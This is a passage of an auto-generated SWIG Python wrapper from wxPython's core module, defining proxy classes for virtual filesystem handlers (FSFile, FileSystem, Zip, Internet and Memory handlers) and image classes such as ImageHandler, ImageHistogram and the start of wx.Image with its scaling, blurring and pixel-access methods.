FSFile(Object):\n \"\"\"Proxy of C++ FSFile class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, InputStream stream, String loc, String mimetype, String anchor, \n DateTime modif) -> FSFile\n \"\"\"\n _core_.FSFile_swiginit(self,_core_.new_FSFile(*args, **kwargs))\n __swig_destroy__ = _core_.delete_FSFile\n __del__ = lambda self : None;\n def GetStream(*args, **kwargs):\n \"\"\"GetStream(self) -> InputStream\"\"\"\n return _core_.FSFile_GetStream(*args, **kwargs)\n\n def DetachStream(*args, **kwargs):\n \"\"\"DetachStream(self)\"\"\"\n return _core_.FSFile_DetachStream(*args, **kwargs)\n\n def GetMimeType(*args, **kwargs):\n \"\"\"GetMimeType(self) -> String\"\"\"\n return _core_.FSFile_GetMimeType(*args, **kwargs)\n\n def GetLocation(*args, **kwargs):\n \"\"\"GetLocation(self) -> String\"\"\"\n return _core_.FSFile_GetLocation(*args, **kwargs)\n\n def GetAnchor(*args, **kwargs):\n \"\"\"GetAnchor(self) -> String\"\"\"\n return _core_.FSFile_GetAnchor(*args, **kwargs)\n\n def GetModificationTime(*args, **kwargs):\n \"\"\"GetModificationTime(self) -> DateTime\"\"\"\n return _core_.FSFile_GetModificationTime(*args, **kwargs)\n\n Anchor = property(GetAnchor,doc=\"See `GetAnchor`\") \n Location = property(GetLocation,doc=\"See `GetLocation`\") \n MimeType = property(GetMimeType,doc=\"See `GetMimeType`\") \n ModificationTime = property(GetModificationTime,doc=\"See `GetModificationTime`\") \n Stream = property(GetStream,doc=\"See `GetStream`\") \n_core_.FSFile_swigregister(FSFile)\n\nclass CPPFileSystemHandler(object):\n \"\"\"Proxy of C++ CPPFileSystemHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_CPPFileSystemHandler\n __del__ = lambda self : None;\n_core_.CPPFileSystemHandler_swigregister(CPPFileSystemHandler)\n\nclass FileSystemHandler(CPPFileSystemHandler):\n \"\"\"Proxy of C++ FileSystemHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> FileSystemHandler\"\"\"\n _core_.FileSystemHandler_swiginit(self,_core_.new_FileSystemHandler(*args, **kwargs))\n FileSystemHandler._setCallbackInfo(self, self, FileSystemHandler)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _core_.FileSystemHandler__setCallbackInfo(*args, **kwargs)\n\n def CanOpen(*args, **kwargs):\n \"\"\"CanOpen(self, String location) -> bool\"\"\"\n return _core_.FileSystemHandler_CanOpen(*args, **kwargs)\n\n def OpenFile(*args, **kwargs):\n \"\"\"OpenFile(self, FileSystem fs, String location) -> FSFile\"\"\"\n return _core_.FileSystemHandler_OpenFile(*args, **kwargs)\n\n def FindFirst(*args, **kwargs):\n \"\"\"FindFirst(self, String spec, int flags=0) -> String\"\"\"\n return _core_.FileSystemHandler_FindFirst(*args, **kwargs)\n\n def FindNext(*args, **kwargs):\n \"\"\"FindNext(self) -> String\"\"\"\n return _core_.FileSystemHandler_FindNext(*args, **kwargs)\n\n def GetProtocol(*args, **kwargs):\n \"\"\"GetProtocol(self, String location) -> String\"\"\"\n return _core_.FileSystemHandler_GetProtocol(*args, **kwargs)\n\n def GetLeftLocation(*args, **kwargs):\n \"\"\"GetLeftLocation(self, String location) -> String\"\"\"\n return _core_.FileSystemHandler_GetLeftLocation(*args, **kwargs)\n\n def GetAnchor(*args, **kwargs):\n \"\"\"GetAnchor(self, String location) -> String\"\"\"\n return _core_.FileSystemHandler_GetAnchor(*args, **kwargs)\n\n def GetRightLocation(*args, **kwargs):\n \"\"\"GetRightLocation(self, String location) -> String\"\"\"\n return _core_.FileSystemHandler_GetRightLocation(*args, **kwargs)\n\n def GetMimeTypeFromExt(*args, **kwargs):\n \"\"\"GetMimeTypeFromExt(self, String location) -> String\"\"\"\n return _core_.FileSystemHandler_GetMimeTypeFromExt(*args, **kwargs)\n\n Anchor = property(GetAnchor,doc=\"See `GetAnchor`\") \n LeftLocation = property(GetLeftLocation,doc=\"See `GetLeftLocation`\") \n MimeTypeFromExt = property(GetMimeTypeFromExt,doc=\"See `GetMimeTypeFromExt`\") \n Protocol = property(GetProtocol,doc=\"See `GetProtocol`\") \n RightLocation = property(GetRightLocation,doc=\"See `GetRightLocation`\") \n_core_.FileSystemHandler_swigregister(FileSystemHandler)\n\nclass FileSystem(Object):\n \"\"\"Proxy of C++ FileSystem class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> FileSystem\"\"\"\n _core_.FileSystem_swiginit(self,_core_.new_FileSystem(*args, **kwargs))\n __swig_destroy__ = _core_.delete_FileSystem\n __del__ = lambda self : None;\n def ChangePathTo(*args, **kwargs):\n \"\"\"ChangePathTo(self, String location, bool is_dir=False)\"\"\"\n return _core_.FileSystem_ChangePathTo(*args, **kwargs)\n\n def GetPath(*args, **kwargs):\n \"\"\"GetPath(self) -> String\"\"\"\n return _core_.FileSystem_GetPath(*args, **kwargs)\n\n def OpenFile(*args, **kwargs):\n \"\"\"OpenFile(self, String location) -> FSFile\"\"\"\n return _core_.FileSystem_OpenFile(*args, **kwargs)\n\n def FindFirst(*args, **kwargs):\n \"\"\"FindFirst(self, String spec, int flags=0) -> String\"\"\"\n return _core_.FileSystem_FindFirst(*args, **kwargs)\n\n def FindNext(*args, **kwargs):\n \"\"\"FindNext(self) -> String\"\"\"\n return _core_.FileSystem_FindNext(*args, **kwargs)\n\n def AddHandler(*args, **kwargs):\n \"\"\"AddHandler(CPPFileSystemHandler handler)\"\"\"\n return _core_.FileSystem_AddHandler(*args, **kwargs)\n\n AddHandler = staticmethod(AddHandler)\n def RemoveHandler(*args, **kwargs):\n \"\"\"RemoveHandler(CPPFileSystemHandler handler) -> CPPFileSystemHandler\"\"\"\n return _core_.FileSystem_RemoveHandler(*args, **kwargs)\n\n RemoveHandler = staticmethod(RemoveHandler)\n def CleanUpHandlers(*args, **kwargs):\n \"\"\"CleanUpHandlers()\"\"\"\n return _core_.FileSystem_CleanUpHandlers(*args, **kwargs)\n\n CleanUpHandlers = staticmethod(CleanUpHandlers)\n def FileNameToURL(*args, **kwargs):\n \"\"\"FileNameToURL(String filename) -> String\"\"\"\n return _core_.FileSystem_FileNameToURL(*args, **kwargs)\n\n FileNameToURL = staticmethod(FileNameToURL)\n def URLToFileName(*args, **kwargs):\n \"\"\"URLToFileName(String url) -> String\"\"\"\n return _core_.FileSystem_URLToFileName(*args, **kwargs)\n\n URLToFileName = staticmethod(URLToFileName)\n Path = property(GetPath,doc=\"See `GetPath`\") \n_core_.FileSystem_swigregister(FileSystem)\n\ndef FileSystem_AddHandler(*args, **kwargs):\n \"\"\"FileSystem_AddHandler(CPPFileSystemHandler handler)\"\"\"\n return _core_.FileSystem_AddHandler(*args, **kwargs)\n\ndef FileSystem_RemoveHandler(*args, **kwargs):\n \"\"\"FileSystem_RemoveHandler(CPPFileSystemHandler handler) -> CPPFileSystemHandler\"\"\"\n return _core_.FileSystem_RemoveHandler(*args, **kwargs)\n\ndef FileSystem_CleanUpHandlers(*args):\n \"\"\"FileSystem_CleanUpHandlers()\"\"\"\n return _core_.FileSystem_CleanUpHandlers(*args)\n\ndef FileSystem_FileNameToURL(*args, **kwargs):\n \"\"\"FileSystem_FileNameToURL(String filename) -> String\"\"\"\n return _core_.FileSystem_FileNameToURL(*args, **kwargs)\n\ndef FileSystem_URLToFileName(*args, **kwargs):\n \"\"\"FileSystem_URLToFileName(String url) -> String\"\"\"\n return _core_.FileSystem_URLToFileName(*args, **kwargs)\n\nclass InternetFSHandler(CPPFileSystemHandler):\n \"\"\"Proxy of C++ InternetFSHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> InternetFSHandler\"\"\"\n _core_.InternetFSHandler_swiginit(self,_core_.new_InternetFSHandler(*args, **kwargs))\n def CanOpen(*args, **kwargs):\n \"\"\"CanOpen(self, String location) -> bool\"\"\"\n return _core_.InternetFSHandler_CanOpen(*args, **kwargs)\n\n def OpenFile(*args, **kwargs):\n \"\"\"OpenFile(self, FileSystem fs, String location) -> FSFile\"\"\"\n return _core_.InternetFSHandler_OpenFile(*args, **kwargs)\n\n_core_.InternetFSHandler_swigregister(InternetFSHandler)\n\nclass ZipFSHandler(CPPFileSystemHandler):\n \"\"\"Proxy of C++ ZipFSHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> ZipFSHandler\"\"\"\n _core_.ZipFSHandler_swiginit(self,_core_.new_ZipFSHandler(*args, **kwargs))\n def CanOpen(*args, **kwargs):\n \"\"\"CanOpen(self, String location) -> bool\"\"\"\n return _core_.ZipFSHandler_CanOpen(*args, **kwargs)\n\n def OpenFile(*args, **kwargs):\n \"\"\"OpenFile(self, FileSystem fs, String location) -> FSFile\"\"\"\n return _core_.ZipFSHandler_OpenFile(*args, **kwargs)\n\n def FindFirst(*args, **kwargs):\n \"\"\"FindFirst(self, String spec, int flags=0) -> String\"\"\"\n return _core_.ZipFSHandler_FindFirst(*args, **kwargs)\n\n def FindNext(*args, **kwargs):\n \"\"\"FindNext(self) -> String\"\"\"\n return _core_.ZipFSHandler_FindNext(*args, **kwargs)\n\n_core_.ZipFSHandler_swigregister(ZipFSHandler)\n\n\ndef __wxMemoryFSHandler_AddFile_wxImage(*args, **kwargs):\n \"\"\"__wxMemoryFSHandler_AddFile_wxImage(String filename, Image image, long type)\"\"\"\n return _core_.__wxMemoryFSHandler_AddFile_wxImage(*args, **kwargs)\n\ndef __wxMemoryFSHandler_AddFile_wxBitmap(*args, **kwargs):\n \"\"\"__wxMemoryFSHandler_AddFile_wxBitmap(String filename, Bitmap bitmap, long type)\"\"\"\n return _core_.__wxMemoryFSHandler_AddFile_wxBitmap(*args, **kwargs)\n\ndef __wxMemoryFSHandler_AddFile_Data(*args, **kwargs):\n \"\"\"__wxMemoryFSHandler_AddFile_Data(String filename, buffer data)\"\"\"\n return _core_.__wxMemoryFSHandler_AddFile_Data(*args, **kwargs)\ndef MemoryFSHandler_AddFile(filename, dataItem, imgType=-1):\n \"\"\"\n Add 'file' to the memory filesystem. The dataItem parameter can\n either be a `wx.Bitmap`, `wx.Image` or a string that can contain\n arbitrary data. If a bitmap or image is used then the imgType\n parameter should specify what kind of image file it should be\n written as, wx.BITMAP_TYPE_PNG, etc.\n \"\"\"\n if isinstance(dataItem, wx.Image):\n __wxMemoryFSHandler_AddFile_wxImage(filename, dataItem, imgType)\n elif isinstance(dataItem, wx.Bitmap):\n __wxMemoryFSHandler_AddFile_wxBitmap(filename, dataItem, imgType)\n else:\n try:\n __wxMemoryFSHandler_AddFile_Data(filename, dataItem)\n except TypeError:\n raise TypeError, 'wx.Image, wx.Bitmap or buffer object expected'\n\nclass MemoryFSHandler(CPPFileSystemHandler):\n \"\"\"Proxy of C++ MemoryFSHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> MemoryFSHandler\"\"\"\n _core_.MemoryFSHandler_swiginit(self,_core_.new_MemoryFSHandler(*args, **kwargs))\n def RemoveFile(*args, **kwargs):\n \"\"\"RemoveFile(String filename)\"\"\"\n return _core_.MemoryFSHandler_RemoveFile(*args, **kwargs)\n\n RemoveFile = staticmethod(RemoveFile)\n AddFile = staticmethod(MemoryFSHandler_AddFile) \n def AddFileWithMimeType(*args, **kwargs):\n \"\"\"AddFileWithMimeType(String filename, buffer data, String mimetype)\"\"\"\n return _core_.MemoryFSHandler_AddFileWithMimeType(*args, **kwargs)\n\n AddFileWithMimeType = staticmethod(AddFileWithMimeType)\n def CanOpen(*args, **kwargs):\n \"\"\"CanOpen(self, String location) -> bool\"\"\"\n return _core_.MemoryFSHandler_CanOpen(*args, **kwargs)\n\n def OpenFile(*args, **kwargs):\n \"\"\"OpenFile(self, FileSystem fs, String location) -> FSFile\"\"\"\n return _core_.MemoryFSHandler_OpenFile(*args, **kwargs)\n\n def FindFirst(*args, **kwargs):\n \"\"\"FindFirst(self, String spec, int flags=0) -> String\"\"\"\n return _core_.MemoryFSHandler_FindFirst(*args, **kwargs)\n\n def FindNext(*args, **kwargs):\n \"\"\"FindNext(self) -> String\"\"\"\n return _core_.MemoryFSHandler_FindNext(*args, **kwargs)\n\n_core_.MemoryFSHandler_swigregister(MemoryFSHandler)\n\ndef MemoryFSHandler_RemoveFile(*args, **kwargs):\n \"\"\"MemoryFSHandler_RemoveFile(String filename)\"\"\"\n return _core_.MemoryFSHandler_RemoveFile(*args, **kwargs)\n\ndef MemoryFSHandler_AddFileWithMimeType(*args, **kwargs):\n \"\"\"MemoryFSHandler_AddFileWithMimeType(String filename, buffer data, String mimetype)\"\"\"\n return _core_.MemoryFSHandler_AddFileWithMimeType(*args, **kwargs)\n\nIMAGE_ALPHA_TRANSPARENT = _core_.IMAGE_ALPHA_TRANSPARENT\nIMAGE_ALPHA_THRESHOLD = _core_.IMAGE_ALPHA_THRESHOLD\nIMAGE_ALPHA_OPAQUE = _core_.IMAGE_ALPHA_OPAQUE\nIMAGE_QUALITY_NORMAL = _core_.IMAGE_QUALITY_NORMAL\nIMAGE_QUALITY_HIGH = _core_.IMAGE_QUALITY_HIGH\n#---------------------------------------------------------------------------\n\nclass ImageHandler(Object):\n \"\"\"\n This is the base class for implementing image file loading/saving, and\n image creation from data. It is used within `wx.Image` and is not\n normally seen by the application.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _core_.ImageHandler_GetName(*args, **kwargs)\n\n def GetExtension(*args, **kwargs):\n \"\"\"GetExtension(self) -> String\"\"\"\n return _core_.ImageHandler_GetExtension(*args, **kwargs)\n\n def GetType(*args, **kwargs):\n \"\"\"GetType(self) -> long\"\"\"\n return _core_.ImageHandler_GetType(*args, **kwargs)\n\n def GetMimeType(*args, **kwargs):\n \"\"\"GetMimeType(self) -> String\"\"\"\n return _core_.ImageHandler_GetMimeType(*args, **kwargs)\n\n def CanRead(*args, **kwargs):\n \"\"\"CanRead(self, String name) -> bool\"\"\"\n return _core_.ImageHandler_CanRead(*args, **kwargs)\n\n def CanReadStream(*args, **kwargs):\n \"\"\"CanReadStream(self, InputStream stream) -> bool\"\"\"\n return _core_.ImageHandler_CanReadStream(*args, **kwargs)\n\n def SetName(*args, **kwargs):\n \"\"\"SetName(self, String name)\"\"\"\n return _core_.ImageHandler_SetName(*args, **kwargs)\n\n def SetExtension(*args, **kwargs):\n \"\"\"SetExtension(self, String extension)\"\"\"\n return _core_.ImageHandler_SetExtension(*args, **kwargs)\n\n def SetType(*args, **kwargs):\n \"\"\"SetType(self, long type)\"\"\"\n return _core_.ImageHandler_SetType(*args, **kwargs)\n\n def SetMimeType(*args, **kwargs):\n \"\"\"SetMimeType(self, String mimetype)\"\"\"\n return _core_.ImageHandler_SetMimeType(*args, **kwargs)\n\n Extension = property(GetExtension,SetExtension,doc=\"See `GetExtension` and `SetExtension`\") \n MimeType = property(GetMimeType,SetMimeType,doc=\"See `GetMimeType` and `SetMimeType`\") \n Name = property(GetName,SetName,doc=\"See `GetName` and `SetName`\") \n Type = property(GetType,SetType,doc=\"See `GetType` and `SetType`\") \n_core_.ImageHandler_swigregister(ImageHandler)\n\nclass PyImageHandler(ImageHandler):\n \"\"\"\n This is the base class for implementing image file loading/saving, and\n image creation from data, all written in Python. To create a custom\n image handler derive a new class from wx.PyImageHandler and provide\n the following methods::\n\n def DoCanRead(self, stream) --> bool\n '''Check if this handler can read the image on the stream'''\n\n def LoadFile(self, image, stream, verbose, index) --> bool\n '''Load image data from the stream and load it into image.'''\n\n def SaveFile(self, image, stream, verbose) --> bool\n '''Save the iamge data in image to the stream using\n this handler's image file format.'''\n\n def GetImageCount(self, stream) --> int\n '''If this image format can hold more than one image,\n how many does the image on the stream have?'''\n\n To activate your handler create an instance of it and pass it to\n `wx.Image_AddHandler`. Be sure to call `SetName`, `SetType`, and\n `SetExtension` from your constructor.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PyImageHandler\n\n This is the base class for implementing image file loading/saving, and\n image creation from data, all written in Python. To create a custom\n image handler derive a new class from wx.PyImageHandler and provide\n the following methods::\n\n def DoCanRead(self, stream) --> bool\n '''Check if this handler can read the image on the stream'''\n\n def LoadFile(self, image, stream, verbose, index) --> bool\n '''Load image data from the stream and load it into image.'''\n\n def SaveFile(self, image, stream, verbose) --> bool\n '''Save the iamge data in image to the stream using\n this handler's image file format.'''\n\n def GetImageCount(self, stream) --> int\n '''If this image format can hold more than one image,\n how many does the image on the stream have?'''\n\n To activate your handler create an instance of it and pass it to\n `wx.Image_AddHandler`. Be sure to call `SetName`, `SetType`, and\n `SetExtension` from your constructor.\n\n \"\"\"\n _core_.PyImageHandler_swiginit(self,_core_.new_PyImageHandler(*args, **kwargs))\n self._SetSelf(self)\n\n def _SetSelf(*args, **kwargs):\n \"\"\"_SetSelf(self, PyObject self)\"\"\"\n return _core_.PyImageHandler__SetSelf(*args, **kwargs)\n\n_core_.PyImageHandler_swigregister(PyImageHandler)\n\nclass ImageHistogram(object):\n \"\"\"Proxy of C++ ImageHistogram class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> ImageHistogram\"\"\"\n _core_.ImageHistogram_swiginit(self,_core_.new_ImageHistogram(*args, **kwargs))\n def MakeKey(*args, **kwargs):\n \"\"\"\n MakeKey(byte r, byte g, byte b) -> unsigned long\n\n Get the key in the histogram for the given RGB values\n \"\"\"\n return _core_.ImageHistogram_MakeKey(*args, **kwargs)\n\n MakeKey = staticmethod(MakeKey)\n def FindFirstUnusedColour(*args, **kwargs):\n \"\"\"\n FindFirstUnusedColour(int startR=1, int startG=0, int startB=0) -> (success, r, g, b)\n\n Find first colour that is not used in the image and has higher RGB\n values than startR, startG, startB. Returns a tuple consisting of a\n success flag and rgb values.\n \"\"\"\n return _core_.ImageHistogram_FindFirstUnusedColour(*args, **kwargs)\n\n def GetCount(*args, **kwargs):\n \"\"\"\n GetCount(self, unsigned long key) -> unsigned long\n\n Returns the pixel count for the given key. Use `MakeKey` to create a\n key value from a RGB tripple.\n \"\"\"\n return _core_.ImageHistogram_GetCount(*args, **kwargs)\n\n def GetCountRGB(*args, **kwargs):\n \"\"\"\n GetCountRGB(self, byte r, byte g, byte b) -> unsigned long\n\n Returns the pixel count for the given RGB values.\n \"\"\"\n return _core_.ImageHistogram_GetCountRGB(*args, **kwargs)\n\n def GetCountColour(*args, **kwargs):\n \"\"\"\n GetCountColour(self, Colour colour) -> unsigned long\n\n Returns the pixel count for the given `wx.Colour` value.\n \"\"\"\n return _core_.ImageHistogram_GetCountColour(*args, **kwargs)\n\n_core_.ImageHistogram_swigregister(ImageHistogram)\n\ndef ImageHistogram_MakeKey(*args, **kwargs):\n \"\"\"\n ImageHistogram_MakeKey(byte r, byte g, byte b) -> unsigned long\n\n Get the key in the histogram for the given RGB values\n \"\"\"\n return _core_.ImageHistogram_MakeKey(*args, **kwargs)\n\nclass Image_RGBValue(object):\n \"\"\"\n An object that contains values for red, green and blue which represent\n the value of a color. It is used by `wx.Image.HSVtoRGB` and\n `wx.Image.RGBtoHSV`, which converts between HSV color space and RGB\n color space.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, byte r=0, byte g=0, byte b=0) -> Image_RGBValue\n\n Constructor.\n \"\"\"\n _core_.Image_RGBValue_swiginit(self,_core_.new_Image_RGBValue(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Image_RGBValue\n __del__ = lambda self : None;\n red = property(_core_.Image_RGBValue_red_get, _core_.Image_RGBValue_red_set)\n green = property(_core_.Image_RGBValue_green_get, _core_.Image_RGBValue_green_set)\n blue = property(_core_.Image_RGBValue_blue_get, _core_.Image_RGBValue_blue_set)\n_core_.Image_RGBValue_swigregister(Image_RGBValue)\n\nclass Image_HSVValue(object):\n \"\"\"\n An object that contains values for hue, saturation and value which\n represent the value of a color. It is used by `wx.Image.HSVtoRGB` and\n `wx.Image.RGBtoHSV`, which converts between HSV color space and RGB\n color space.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, double h=0.0, double s=0.0, double v=0.0) -> Image_HSVValue\n\n Constructor.\n \"\"\"\n _core_.Image_HSVValue_swiginit(self,_core_.new_Image_HSVValue(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Image_HSVValue\n __del__ = lambda self : None;\n hue = property(_core_.Image_HSVValue_hue_get, _core_.Image_HSVValue_hue_set)\n saturation = property(_core_.Image_HSVValue_saturation_get, _core_.Image_HSVValue_saturation_set)\n value = property(_core_.Image_HSVValue_value_get, _core_.Image_HSVValue_value_set)\n_core_.Image_HSVValue_swigregister(Image_HSVValue)\n\nclass Image(Object):\n \"\"\"\n A platform-independent image class. An image can be created from\n data, or using `wx.Bitmap.ConvertToImage`, or loaded from a file in a\n variety of formats. Functions are available to set and get image\n bits, so it can be used for basic image manipulation.\n\n A wx.Image cannot be drawn directly to a `wx.DC`. Instead, a\n platform-specific `wx.Bitmap` object must be created from it using the\n `wx.BitmapFromImage` constructor. This bitmap can then be drawn in a\n device context, using `wx.DC.DrawBitmap`.\n\n One colour value of the image may be used as a mask colour which will\n lead to the automatic creation of a `wx.Mask` object associated to the\n bitmap object.\n\n wx.Image supports alpha channel data, that is in addition to a byte\n for the red, green and blue colour components for each pixel it also\n stores a byte representing the pixel opacity. An alpha value of 0\n corresponds to a transparent pixel (null opacity) while a value of 255\n means that the pixel is 100% opaque.\n\n Unlike RGB data, not all images have an alpha channel and before using\n `GetAlpha` you should check if this image contains an alpha channel\n with `HasAlpha`. Note that currently only images loaded from PNG files\n with transparency information will have an alpha channel.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, String name, long type=BITMAP_TYPE_ANY, int index=-1) -> Image\n\n Loads an image from a file.\n \"\"\"\n _core_.Image_swiginit(self,_core_.new_Image(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Image\n __del__ = lambda self : None;\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, int width, int height, bool clear=True)\n\n Creates a fresh image. If clear is ``True``, the new image will be\n initialized to black. Otherwise, the image data will be uninitialized.\n \"\"\"\n return _core_.Image_Create(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"\n Destroy(self)\n\n Destroys the image data.\n \"\"\"\n args[0].this.own(False)\n return _core_.Image_Destroy(*args, **kwargs)\n\n def Scale(*args, **kwargs):\n \"\"\"\n Scale(self, int width, int height, int quality=IMAGE_QUALITY_NORMAL) -> Image\n\n Returns a scaled version of the image. This is also useful for scaling\n bitmaps in general as the only other way to scale bitmaps is to blit a\n `wx.MemoryDC` into another `wx.MemoryDC`. The ``quality`` parameter\n specifies what method to use for resampling the image. It can be\n either wx.IMAGE_QUALITY_NORMAL, which uses the normal default scaling\n method of pixel replication, or wx.IMAGE_QUALITY_HIGH which uses\n bicubic and box averaging resampling methods for upsampling and\n downsampling respectively.\n \"\"\"\n return _core_.Image_Scale(*args, **kwargs)\n\n def ResampleBox(*args, **kwargs):\n \"\"\"ResampleBox(self, int width, int height) -> Image\"\"\"\n return _core_.Image_ResampleBox(*args, **kwargs)\n\n def ResampleBicubic(*args, **kwargs):\n \"\"\"ResampleBicubic(self, int width, int height) -> Image\"\"\"\n return _core_.Image_ResampleBicubic(*args, **kwargs)\n\n def Blur(*args, **kwargs):\n \"\"\"\n Blur(self, int radius) -> Image\n\n Blurs the image in both horizontal and vertical directions by the\n specified pixel ``radius``. This should not be used when using a\n single mask colour for transparency.\n \"\"\"\n return _core_.Image_Blur(*args, **kwargs)\n\n def BlurHorizontal(*args, **kwargs):\n \"\"\"\n BlurHorizontal(self, int radius) -> Image\n\n Blurs the image in the horizontal direction only. This should not be\n used when using a single mask colour for transparency.\n\n \"\"\"\n return _core_.Image_BlurHorizontal(*args, **kwargs)\n\n def BlurVertical(*args, **kwargs):\n \"\"\"\n BlurVertical(self, int radius) -> Image\n\n Blurs the image in the vertical direction only. This should not be\n used when using a single mask colour for transparency.\n \"\"\"\n return _core_.Image_BlurVertical(*args, **kwargs)\n\n def ShrinkBy(*args, **kwargs):\n \"\"\"\n ShrinkBy(self, int xFactor, int yFactor) -> Image\n\n Return a version of the image scaled smaller by the given factors.\n \"\"\"\n return _core_.Image_ShrinkBy(*args, **kwargs)\n\n def Rescale(*args, **kwargs):\n \"\"\"\n Rescale(self, int width, int height, int quality=IMAGE_QUALITY_NORMAL) -> Image\n\n Changes the size of the image in-place by scaling it: after a call to\n this function, the image will have the given width and height.\n\n Returns the (modified) image itself.\n \"\"\"\n return _core_.Image_Rescale(*args, **kwargs)\n\n def Resize(*args, **kwargs):\n \"\"\"\n Resize(self, Size size, Point pos, int r=-1, int g=-1, int b=-1) -> Image\n\n Changes the size of the image in-place without scaling it, by adding\n either a border with the given colour or cropping as necessary. The\n image is pasted into a new image with the given size and background\n colour at the position pos relative to the upper left of the new\n image. If red = green = blue = -1 then use either the current mask\n colour if set or find, use, and set a suitable mask colour for any\n newly exposed areas.\n\n Returns the (modified) image itself.\n \"\"\"\n return _core_.Image_Resize(*args, **kwargs)\n\n def SetRGB(*args, **kwargs):\n \"\"\"\n SetRGB(self, int x, int y, byte r, byte g, byte b)\n\n Sets the pixel at the given coordinate. This routine performs\n bounds-checks for the coordinate so it can be considered a safe way to\n manipulate the data, but in some cases this might be too slow so that\n the data will have to be set directly. In that case you will have to\n get access to the image data using the `GetData` method.\n \"\"\"\n return _core_.Image_SetRGB(*args, **kwargs)\n\n def SetRGBRect(*args, **kwargs):\n \"\"\"\n SetRGBRect(self, Rect rect, byte r, byte g, byte b)\n\n Sets the colour of the pixels within the given rectangle. This routine\n performs bounds-checks for the rectangle so it can be considered a\n safe way to manipulate the data.\n \"\"\"\n return _core_.Image_SetRGBRect(*args, **kwargs)\n\n def GetRed(*args, **kwargs):\n \"\"\"\n GetRed(self, int x, int y) -> byte\n\n Returns the red intensity at the given coordinate.\n \"\"\"\n return _core_.Image_GetRed(*args, **kwargs)\n\n def GetGreen(*args, **kwargs):\n \"\"\"\n GetGreen(self, int x, int y) -> byte\n\n Returns the green intensity at the given coordinate.\n \"\"\"\n return _core_.Image_GetGreen(*args, **kwargs)\n\n def GetBlue(*args, **kwargs):\n \"\"\"\n GetBlue(self, int x, int y) -> byte\n\n Returns the blue intensity at the given coordinate.\n \"\"\"\n return _core_.Image_GetBlue(*args, **kwargs)\n\n def SetAlpha(*args, **kwargs):\n \"\"\"\n SetAlpha(self, int x, int y, byte alpha)\n\n Sets the alpha value for the given pixel. This function should only be\n called if the image has alpha channel data, use `HasAlpha` to check\n for this.\n \"\"\"\n return _core_.Image_SetAlpha(*args, **kwargs)\n\n def GetAlpha(*args, **kwargs):\n \"\"\"\n GetAlpha(self, int x, int y) -> byte\n\n Returns the alpha value for the given pixel. This function may only be\n called for the images with alpha channel, use `HasAlpha` to check for\n this.\n\n The returned value is the *opacity* of the image, i.e. the value of 0\n corresponds to the fully transparent pixels while the value of 255 to\n the fully opaque pixels.\n \"\"\"\n return _core_.Image_GetAlpha(*args, **kwargs)\n\n def HasAlpha(*args, **kwargs):\n \"\"\"\n HasAlpha(self) -> bool\n\n Returns true if this image has alpha channel, false otherwise.\n \"\"\"\n return _core_.Image_HasAlpha(*args, **kwargs)\n\n def InitAlpha(*args, **kwargs):\n \"\"\"\n InitAlpha(self)\n\n Initializes the image alpha channel data. It is an error to call it if\n the image already has alpha data. If it doesn't, alpha data will be by\n default initialized to all pixels being fully opaque. But if the image\n has a a mask colour, all mask pixels will be completely transparent.\n \"\"\"\n return _core_.Image_InitAlpha(*args, **kwargs)\n\n def IsTransparent(*args, **kwargs):\n \"\"\"\n IsTransparent(self, int x, int y, byte threshold=IMAGE_ALPHA_THRESHOLD) -> bool\n\n Returns ``True`` if this pixel is masked or has an alpha value less\n than the spcified threshold.\n \"\"\"\n return _core_.Image_IsTransparent(*args, **kwargs)\n\n def FindFirstUnusedColour(*args, **kwargs):\n \"\"\"\n FindFirstUnusedColour(int startR=1, int startG=0, int startB=0) -> 